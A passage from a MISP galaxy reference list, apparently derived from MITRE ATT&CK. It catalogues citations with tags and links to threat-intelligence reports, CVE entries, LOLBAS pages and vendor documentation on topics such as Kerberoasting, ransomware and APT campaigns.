The tag is: *misp-galaxy:references="SANS Brute Ratel October 2022"*

Table 20063. Table References

Links
https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/

Stealthbits Cracking AS-REP Roasting Jun 2019

Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.

The tag is: *misp-galaxy:references="Stealthbits Cracking AS-REP Roasting Jun 2019"*

Table 20064. Table References

Links
https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/

AdSecurity Cracking Kerberos Dec 2015

Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.

The tag is: *misp-galaxy:references="AdSecurity Cracking Kerberos Dec 2015"*

Table 20065. Table References

Links
https://adsecurity.org/?p=2293

Symantec Crambus OCT 2023

Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024.

The tag is: *misp-galaxy:references="Symantec Crambus OCT 2023"*

Table 20066. Table References

Links
https://www.security.com/threat-intelligence/crambus-middle-east-government

Dragos Crashoverride 2017

Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="Dragos Crashoverride 2017"*

Table 20067. Table References

Links
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf

Unit 42 ATOM Crawling Taurus

Unit 42. (n.d.). Crawling Taurus. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Unit 42 ATOM Crawling Taurus"*

Table 20068. Table References

Links
https://unit42.paloaltonetworks.com/atoms/crawling-taurus/

Microsoft Image

Microsoft. (2021, August 23). Create a managed image of a generalized VM in Azure. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Microsoft Image"*

Table 20069. Table References

Links

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/capture-image-resource

Microsoft Snapshot

Microsoft. (2021, September 16). Create a snapshot of a virtual hard disk. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Microsoft Snapshot"*

Table 20070. Table References

Links
https://docs.microsoft.com/en-us/azure/virtual-machines/linux/snapshot-copy-managed-disk

Microsoft Create Token

Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Microsoft Create Token"*

Table 20071. Table References

Links
https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object

GCP Create Cloud Identity Users

Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.

The tag is: *misp-galaxy:references="GCP Create Cloud Identity Users"*

Table 20072. Table References

Links
https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554

Createdump.exe - LOLBAS Project

LOLBAS. (2022, January 20). Createdump.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Createdump.exe - LOLBAS Project"*

Table 20073. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Createdump/

Google Cloud Kubernetes IAM

Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="Google Cloud Kubernetes IAM"*

Table 20074. Table References

Links
https://cloud.google.com/kubernetes-engine/docs/how-to/iam

Microsoft CreateMutexA

Microsoft. (2023, February 8). CreateMutexA function (synchapi.h). Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Microsoft CreateMutexA"*

Table 20075. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa

Microsoft CreateProcess

Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft CreateProcess"*

Table 20076. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

Microsoft CLI Create Subscription

Microsoft . (n.d.). Create subscription. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Microsoft CLI Create Subscription"*

Table 20077. Table References

Links
https://learn.microsoft.com/en-us/graph/api/subscription-post-subscriptions

create_sym_links

Microsoft. (2021, October 28). Create symbolic links. Retrieved April 27, 2022.

The tag is: *misp-galaxy:references="create_sym_links"*

Table 20078. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links

GCP - Creating and Starting a VM

Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.

The tag is: *misp-galaxy:references="GCP - Creating and Starting a VM"*

Table 20079. Table References

Links
https://cloud.google.com/compute/docs/instances/create-start-instance#api_2

AWS Create IAM User

AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.

The tag is: *misp-galaxy:references="AWS Create IAM User"*

Table 20080. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html

GNU Fork

Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="GNU Fork"*

Table 20081. Table References

Links
https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html

AppleDocs Launch Agent Daemons

Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.

The tag is: *misp-galaxy:references="AppleDocs Launch Agent Daemons"*

Table 20082. Table References

Links
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html

TechNet Logon Scripts

Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.

The tag is: *misp-galaxy:references="TechNet Logon Scripts"*

Table 20083. Table References

Links
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx

Google Cloud Service Account Credentials

Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Google Cloud Service Account Credentials"*

Table 20084. Table References

Links
https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials

creatingXPCservices

Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.

The tag is: *misp-galaxy:references="creatingXPCservices"*

Table 20085. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1

GitHub Creddump7

Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="GitHub Creddump7"*

Table 20086. Table References

Links

https://github.com/Neohapsis/creddump7

Microsoft Midnight Blizzard Replay Attack

Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft Midnight Blizzard Replay Attack"*

Table 20087. Table References

Links
https://x.com/MsftSecIntel/status/1671579359994343425

Anomali Template Injection MAR 2018

Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.

The tag is: *misp-galaxy:references="Anomali Template Injection MAR 2018"*

Table 20088. Table References

Links
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104

Microsoft Credential Locker

Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.

The tag is: *misp-galaxy:references="Microsoft Credential Locker"*

Table 20089. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN

Microsoft CredEnumerate

Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.

The tag is: *misp-galaxy:references="Microsoft CredEnumerate"*

Table 20090. Table References

Links

https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea

SentinelLabs Intermittent Encryption September 08 2022

Aleksandar Milenkoski, Jim Walter. (2022, September 8). Crimeware Trends | Ransomware Developers Turn to Intermittent Encryption to Evade Detection. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="SentinelLabs Intermittent Encryption September 08 2022"*

Table 20091. Table References

Links
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/

TrendmicroHideoutsLease

Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="TrendmicroHideoutsLease"*

Table 20092. Table References

Links
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf

IC3-AI24

IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="IC3-AI24"*

Table 20093. Table References

Links
https://www.ic3.gov/PSA/2024/PSA241203

BleepingComputer June 6 2025

Sergiu Gatlan. (2025, June 6). Critical Fortinet flaws now exploited in Qilin ransomware attacks. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="BleepingComputer June 6 2025"*

Table 20094. Table References

Links
https://www.bleepingcomputer.com/news/security/critical-fortinet-flaws-now-exploited-in-qilin-ransomware-attacks/

doppelpaymer_crowdstrike

Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.

The tag is: *misp-galaxy:references="doppelpaymer_crowdstrike"*

Table 20095. Table References

Links
https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/

CISA AA24-038A PRC Critical Infrastructure February 2024

CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.

The tag is: *misp-galaxy:references="CISA AA24-038A PRC Critical Infrastructure February 2024"*

Table 20096. Table References

Links
https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf

Critical Vulnerabilities in PaperCut Print Management Software

Team Huntress. (2023, April 21). Critical Vulnerabilities in PaperCut Print Management Software. Retrieved May 8, 2023.

The tag is: *misp-galaxy:references="Critical Vulnerabilities in PaperCut Print Management Software"*

Table 20097. Table References

Links
https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software

Security Affairs SILENTTRINITY July 2019

Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022.

The tag is: *misp-galaxy:references="Security Affairs SILENTTRINITY July 2019"*

Table 20098. Table References

Links
https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html

Die.net Linux crontab Man Page

Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Die.net Linux crontab Man Page"*

Table 20099. Table References

Links
https://linux.die.net/man/5/crontab

Symantec Frutas Feb 2013

Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Symantec Frutas Feb 2013"*

Table 20100. Table References

Links
https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door

Bishop Fox Sliver Framework August 2019

Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021.

The tag is: *misp-galaxy:references="Bishop Fox Sliver Framework August 2019"*

Table 20101. Table References

Links
https://labs.bishopfox.com/tech-blog/sliver

Okta Cross-Tenant Impersonation

Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Okta Cross-Tenant Impersonation"*

Table 20102. Table References

Links
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection

Okta Cross-Tenant Impersonation 2023

Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="Okta Cross-Tenant Impersonation 2023"*

Table 20103. Table References

Links
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection

Crowdstrike CrowdCast Oct 2013

Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Crowdstrike CrowdCast Oct 2013"*

Table 20104. Table References

Links
https://www.slideshare.net/slideshow/crowd-casts-monthly-you-have-an-adversary-problem/27262315

Crowdstrike Global Threat Report Feb 2018

CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="Crowdstrike Global Threat Report Feb 2018"*

Table 20105. Table References

Links
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report

CrowdStrike GTR 2021 June 2021

CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="CrowdStrike GTR 2021 June 2021"*

Table 20106. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

CrowdStrike 2023 Threat Hunting Report

CrowdStrike. (2023, September 8). CrowdStrike 2023 Threat Hunting Report. Retrieved March 10, 2025.

The tag is: *misp-galaxy:references="CrowdStrike 2023 Threat Hunting Report"*

Table 20107. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/report-crowdstrike-2023-threat-hunting-report.pdf

CrowdStrike 2025 Global Threat Report

CrowdStrike. (2025, February 27). CrowdStrike 2025 Global Threat Report. Retrieved February 27, 2025.

The tag is: *misp-galaxy:references="CrowdStrike 2025 Global Threat Report"*

Table 20108. Table References

Links
https://www.securityweek.com/wp-content/uploads/2025/02/CrowdStrikeGlobalThreatReport2025.pdf

CrowdStrike Adversary Carbon Spider

CrowdStrike. (2022, June 01). CrowdStrike Adversary Carbon Spider. Retrieved June 01, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Adversary Carbon Spider"*

Table 20109. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/carbon-spider/

CrowdStrike Adversary Cozy Bear

CrowdStrike. (2022, May 4). CrowdStrike Adversary Cozy Bear. Retrieved May 4, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Adversary Cozy Bear"*

Table 20110. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/cozy-bear/

CrowdStrike Labyrinth Chollima Feb 2022

CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Labyrinth Chollima Feb 2022"*

Table 20111. Table References

Links
https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/

CrowdStrike Adversary Ocean Buffalo

CrowdStrike. (2022, June 25). CrowdStrike Adversary Ocean Bufallo. Retrieved June 25, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Adversary Ocean Buffalo"*

Table 20112. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/ocean-buffalo/

CrowdStrike Adversary Venomous Bear

CrowdStrike. (2022, May 4). CrowdStrike Adversary Venomous Bear. Retrieved May 4, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Adversary Venomous Bear"*

Table 20113. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/venomous-bear/

CrowdStrike Adversary Wizard Spider

CrowdStrike. (2022, June 23). CrowdStrike Adversary Wizard Spider. Retrieved June 23, 2022.

The tag is: *misp-galaxy:references="CrowdStrike Adversary Wizard Spider"*

Table 20114. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/wizard-spider/

Crowdstrike DriveSlayer February 2022

Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Crowdstrike DriveSlayer February 2022"*

Table 20115. Table References

Links
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/

CrowdStrike Putter Panda

Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.

The tag is: *misp-galaxy:references="CrowdStrike Putter Panda"*

Table 20116. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Checkpoint WannaCry 2017

Pal, P. (2017, May 16). CRYING IS FUTILE: SandBlast Forensic Analysis of WannaCry. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="Checkpoint WannaCry 2017"*

Table 20117. Table References

Links
https://blog.checkpoint.com/research/crying-futile-sandblast-forensic-analysis-wannacry/

ANYRUN CryptBot January 26 2023

ANYRUN. (2023, January 26). CryptBot Infostealer: Malware Analysis. Retrieved February 13, 2025.

The tag is: *misp-galaxy:references="ANYRUN CryptBot January 26 2023"*

Table 20118. Table References

Links
https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/

Softpedia MinerC

Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Softpedia MinerC"*

Table 20119. Table References

Links
https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml

Microsoft Cryptojacking 2023

Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.

The tag is: *misp-galaxy:references="Microsoft Cryptojacking 2023"*

Table 20120. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/

Microsoft CryptUnprotectData April 2018

Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.

The tag is: *misp-galaxy:references="Microsoft CryptUnprotectData April 2018"*

Table 20121. Table References

Links
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata

Csc.exe - LOLBAS Project

LOLBAS. (2018, May 25). Csc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Csc.exe - LOLBAS Project"*

Table 20122. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Csc/

Cscript.exe - LOLBAS Project

LOLBAS. (2018, May 25). Cscript.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Cscript.exe - LOLBAS Project"*

Table 20123. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Cscript/

csi.exe - LOLBAS Project

LOLBAS. (2018, May 25). csi.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="csi.exe - LOLBAS Project"*

Table 20124. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/

OWASP CSV Injection

Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.

The tag is: *misp-galaxy:references="OWASP CSV Injection"*

Table 20125. Table References

Links
https://owasp.org/www-community/attacks/CSV_Injection

Elastic CUBA Ransomware 2022

Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Elastic CUBA Ransomware 2022"*

Table 20126. Table References

Links
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

Elastic September 7 2022

Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved February 20, 2025.

The tag is: *misp-galaxy:references="Elastic September 7 2022"*

Table 20127. Table References

Links
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

cybereason.com January 24 2024

Cybereason Security Services Team. (2024, January 24). CUCKOO SPEAR Part 1 Analyzing NOOPDOOR from an IR Perspective. Retrieved September 14, 2024.

The tag is: *misp-galaxy:references="cybereason.com January 24 2024"*

Table 20128. Table References

Links
https://www.cybereason.com/blog/cuckoo-spear-analyzing-noopdoor

Microsoft Subkey

Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries. Retrieved November 30, 2014.

The tag is: *misp-galaxy:references="Microsoft Subkey"*

Table 20129. Table References

Links
http://support.microsoft.com/KB/103000

Microsoft SolarWinds Customer Guidance

MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Microsoft SolarWinds Customer Guidance"*

Table 20130. Table References

Links
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/

Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks

MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.

The tag is: *misp-galaxy:references="Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks"*

Table 20131. Table References

Links
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/

Bleeping Computer Bank Hack 2020

Ionut Ilascu. (2020, January 16). Customer-Owned Bank Informs 100k of Breach Exposing Account Balance, PII. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer Bank Hack 2020"*

Table 20132. Table References

Links
https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/

Login Scripts Apple Dev

Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Login Scripts Apple Dev"*

Table 20133. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html

TechNet Screensaver GP

Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.

The tag is: *misp-galaxy:references="TechNet Screensaver GP"*

Table 20134. Table References

Links
https://technet.microsoft.com/library/cc938799.aspx

CustomShellHost.exe - LOLBAS Project

LOLBAS. (2021, November 14). CustomShellHost.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CustomShellHost.exe - LOLBAS Project"*

Table 20135. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/

Mandiant Cutting Edge Part 2 January 2024

Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Mandiant Cutting Edge Part 2 January 2024"*

Table 20136. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

Mandiant Cutting Edge Part 3 February 2024

Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="Mandiant Cutting Edge Part 3 February 2024"*

Table 20137. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence

Google Cloud April 4 2024

Mandiant. (2024, April 4). Cutting Edge, Part 4 Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies . Retrieved April 29, 2024.

The tag is: *misp-galaxy:references="Google Cloud April 4 2024"*

Table 20138. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

Mandiant Cutting Edge January 2024

McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Mandiant Cutting Edge January 2024"*

Table 20139. Table References

Links
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day

Symantec Naid in the Wild June 2012

Symantec Security Response. (2012, June 18). CVE-2012-1875 Exploited in the Wild - Part 1 (Trojan.Naid). Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Naid in the Wild June 2012"*

Table 20140. Table References

Links
https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid

NVD CVE-2014-7169

National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="NVD CVE-2014-7169"*

Table 20141. Table References

Links
https://nvd.nist.gov/vuln/detail/CVE-2014-7169

NVD CVE-2016-6662

National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="NVD CVE-2016-6662"*

Table 20142. Table References

Links
https://nvd.nist.gov/vuln/detail/CVE-2016-6662

NVD CVE-2017-0176

National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="NVD CVE-2017-0176"*

Table 20143. Table References

Links
https://nvd.nist.gov/vuln/detail/CVE-2017-0176

FireEye Attacks Leveraging HTA

Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.

The tag is: *misp-galaxy:references="FireEye Attacks Leveraging HTA"*

Table 20144. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html

Microsoft CVE-2017-8625 Aug 2017

Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Microsoft CVE-2017-8625 Aug 2017"*

Table 20145. Table References

Links
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

NVD CVE-2019-3610

National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="NVD CVE-2019-3610"*

Table 20146. Table References

Links
https://nvd.nist.gov/vuln/detail/CVE-2019-3610

CVMServer Vuln

Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="CVMServer Vuln"*

Table 20147. Table References

Links
https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html

Crowdstrike Kubernetes Container Escape

Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.

The tag is: *misp-galaxy:references="Crowdstrike Kubernetes Container Escape"*

Table 20148. Table References

Links
https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/

Trend Micro March 13 2024

Peter Girnus; Aliakbar Zahravi; Simon Zuckerbraun Read time. (2024, March 13). CVE-2024-21412 DarkGate Operators Exploit Microsoft Windows SmartScreen Bypass in Zero-Day Campaign. Retrieved March 14, 2024.

The tag is: *misp-galaxy:references="Trend Micro March 13 2024"*

Table 20149. Table References

Links

https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412—darkgate-operators-exploit-microsoft-windows-sma.html

AttackerKB December 16 2024

AttackerKB. (2024, December 16). CVE-2024-55956 . Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="AttackerKB December 16 2024"*

Table 20150. Table References

Links
https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis

CCCS ArcaneDoor 2024

Canadian Centre for Cyber Security. (2024, April 24). Cyber Activity Impacting CISCO ASA VPNs. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="CCCS ArcaneDoor 2024"*

Table 20151. Table References

Links
https://www.cyber.gc.ca/en/news-events/cyber-activity-impacting-cisco-asa-vpns

CyberArk Labs Safe Mode 2016

Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="CyberArk Labs Safe Mode 2016"*

Table 20152. Table References

Links
https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise

PJ Cyber Army of Russia 2023

PJ04857920. (2023, November 30). Cyber Army of Russia — DDoS Tool. Retrieved April 30, 2024.

The tag is: *misp-galaxy:references="PJ Cyber Army of Russia 2023"*

Table 20153. Table References

Links
https://medium.com/@PJ04857920/cyber-army-of-russia-ddos-tool-3b3050419225

CERT-UA Alert June 20 2022

CERT-UA. (2022, June 20). Cyberattack by the UAC-0098 group on critical infrastructure facilities in Ukraine. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="CERT-UA Alert June 20 2022"*

Table 20154. Table References

Links
https://cert.gov.ua/article/339662

CERT-UA Alert April 28 2022

CERT-UA. (2022, April 28). Cyberattack by the UAC-0098 group on Ukrainian government agencies using the Metasploit framework. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="CERT-UA Alert April 28 2022"*

Table 20155. Table References

Links
https://cert.gov.ua/article/39934

Cyware Ngrok May 2019

Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims' systems. Retrieved September 15, 2020.

The tag is: *misp-galaxy:references="Cyware Ngrok May 2019"*

Table 20156. Table References

Links
https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44

The Record RansomHub June 3 2024

Jonathan Greig. (2024, June 3). Cyberattack on telecom giant Frontier claimed by RansomHub. Retrieved June 7, 2024.

The tag is: *misp-galaxy:references="The Record RansomHub June 3 2024"*

Table 20157. Table References

Links
https://therecord.media/frontier-communications-cyberattack-ransomhub

Microsoft Phosphorus Oct 2020

Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.

The tag is: *misp-galaxy:references="Microsoft Phosphorus Oct 2020"*

Table 20158. Table References

Links
https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/

Check Point Mid-Year Report 2022

Check Point Software. (2022, August 3). Cyber Attack Trends: Check Point's 2022 Mid-Year Report. Retrieved May 18, 2022.

The tag is: *misp-galaxy:references="Check Point Mid-Year Report 2022"*

Table 20159. Table References

Links
https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2022.pdf

